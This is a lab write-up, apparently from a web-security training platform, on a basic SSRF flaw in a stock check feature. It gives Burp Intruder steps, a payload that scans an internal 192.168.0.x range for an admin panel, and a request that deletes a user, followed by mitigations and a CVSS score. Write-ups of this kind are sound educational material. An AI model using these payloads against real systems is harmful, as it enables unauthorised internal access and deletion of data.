

Basic SSRF against another back-end system

Topic: SSRF | Difficulty: Apprentice

Description

The stock check feature makes server-side HTTP requests to a user-controlled URL. By probing the internal 192.168.0.0/24 network range an attacker can discover internal services not accessible from the internet, such as an admin panel on port 8080, and interact with them to perform privileged actions.

Steps to Exploit

1. Intercept the stock check POST request in Burp Suite.
2. Send the request to Intruder.
3. Set the stockApi parameter to: `http://192.168.0.[1-255]:8080/admin`
4. Configure a numeric payload list from 1 to 255.
5. Run the attack and filter by HTTP 200 status responses.
6. Identify the internal host that returns the admin panel (e.g., 192.168.0.34).
7. Send: `stockApi=http://192.168.0.34:8080/admin/delete?username=carlos`

Proof of Concept

Scan payload:

```
http://192.168.0.[1-255]:8080/admin
```

Admin found at:

```
http://192.168.0.34:8080/admin -> 200 OK
```

Delete request:

```
stockApi=http://192.168.0.34:8080/admin/delete?username=carlos
```

Impact

- Internal network service discovery and unauthenticated access.
- Access to admin panels and internal services not exposed to the internet.
- Ability to interact with and exploit internal systems.
- Lateral movement potential within the internal network.

Mitigation / Remediation

1. Implement a URL allowlist permitting only specific external hosts for stock checks.
2. Block outbound requests to internal RFC 1918 ranges (10.x.x.x, 172.16.x.x, 192.168.x.x).
3. Enforce authentication on all internal services regardless of network origin.
4. Deploy a server-side request proxy with strict URL validation and comprehensive logging.

CVSS Score

CVSS v3.1: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification

- Attack Vector: Network.
- Attack Complexity: Low - automated scan of internal IP range.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality / Integrity: High - internal admin access and data manipulation.
- Availability: None.